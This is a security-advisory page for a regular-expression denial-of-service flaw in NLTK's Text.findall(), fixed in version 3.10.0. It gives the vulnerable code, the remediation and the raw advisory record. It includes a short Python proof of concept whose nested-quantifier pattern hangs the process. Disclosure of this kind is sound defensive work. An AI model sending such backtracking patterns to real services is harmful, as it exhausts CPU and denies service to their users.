GHSA-RRV8-H7P8-RX55
Vulnerability from github – Published: 2026-09-08 20:28 – Updated: 2026-09-08 20:28
VLAI
Summary
NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions
Details
Summary
NLTK's Text.findall() and TokenSearcher.findall() methods accept user-supplied regular expressions and pass them to the Python re engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the nltk.text module and was resolved in a prior commit.
Affected Code
nltk/text.py — TokenSearcher.findall() (line 255) / Text.findall() (line 620)
TokenSearcher.__init__ builds an internal string by wrapping each token in angle brackets. The findall() method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:
def findall(self, regexp):
# Preprocessing does NOT prevent catastrophic backtracking
regexp = re.sub(r"\s", "", regexp)
regexp = re.sub(r"<", "(?:<(?:", regexp)
regexp = re.sub(r">", ")>)", regexp)
regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp)
# User-controlled regexp executed with no timeout
hits = re.findall(regexp, self._raw)
The preprocessing transforms < and > angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.
Proof of Concept
import nltk
import time
# Token of 25 'a' characters produces self._raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>"
# The trailing '!' ensures no match, forcing full backtracking.
text = nltk.Text(["a" * 25 + "!"])
# Pattern after transformation:
# < → (?:<(?:
# > → )>)
# Becomes: (?:<(?:((a+)+)b)>)
# re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs.
start = time.time()
text.findall(r"<((a+)+)b>") # Never returns
Impact
Applications that expose Text.findall() to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.
Remediation
This vulnerability was patched in commit d8e4753. Users should update to the patched version.
Credit
Tool: Kira by Offgrid Security
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-80205"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T20:28:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nNLTK\u0027s `Text.findall()` and `TokenSearcher.findall()` methods accept user-supplied regular expressions and pass them to the Python `re` engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the `nltk.text` module and was resolved in a prior commit.\n\n### Affected Code\n`nltk/text.py` \u2014 `TokenSearcher.findall()` (line 255) / `Text.findall()` (line 620)\n\n`TokenSearcher.__init__` builds an internal string by wrapping each token in angle brackets. The `findall()` method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:\n\n```python\ndef findall(self, regexp):\n # Preprocessing does NOT prevent catastrophic backtracking\n regexp = re.sub(r\"\\s\", \"\", regexp)\n regexp = re.sub(r\"\u003c\", \"(?:\u003c(?:\", regexp)\n regexp = re.sub(r\"\u003e\", \")\u003e)\", regexp)\n regexp = re.sub(r\"(?\u003c!\\\\)\\.\", \"[^\u003e]\", regexp)\n\n # User-controlled regexp executed with no timeout\n hits = re.findall(regexp, self._raw)\n```\nThe preprocessing transforms `\u003c` and `\u003e` angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.\n\n### Proof of Concept\n```python\nimport nltk\nimport time\n\n# Token of 25 \u0027a\u0027 characters produces self._raw = \"\u003caaaaaaaaaaaaaaaaaaaaaaaa!\u003e\"\n# The trailing \u0027!\u0027 ensures no match, forcing full backtracking.\ntext = nltk.Text([\"a\" * 25 + \"!\"])\n\n# Pattern after transformation:\n# \u003c \u2192 (?:\u003c(?:\n# \u003e \u2192 )\u003e)\n# Becomes: (?:\u003c(?:((a+)+)b)\u003e)\n# re.findall runs this against \"\u003caaaaaaaaaaaaaaaaaaaaaaaa!\u003e\" \u2014 hangs.\n\nstart = time.time()\ntext.findall(r\"\u003c((a+)+)b\u003e\") # Never returns\n```\n\n### Impact\nApplications that expose `Text.findall()` to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.\n\n### Remediation\nThis vulnerability was patched in commit `d8e4753`. Users should update to the patched version.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)",
"id": "GHSA-rrv8-h7p8-rx55",
"modified": "2026-09-08T20:28:13Z",
"published": "2026-09-08T20:28:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80205"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3674"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/d8e47539317b571ab1422981f5b9653d5eae1249"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3750.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/01/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": " NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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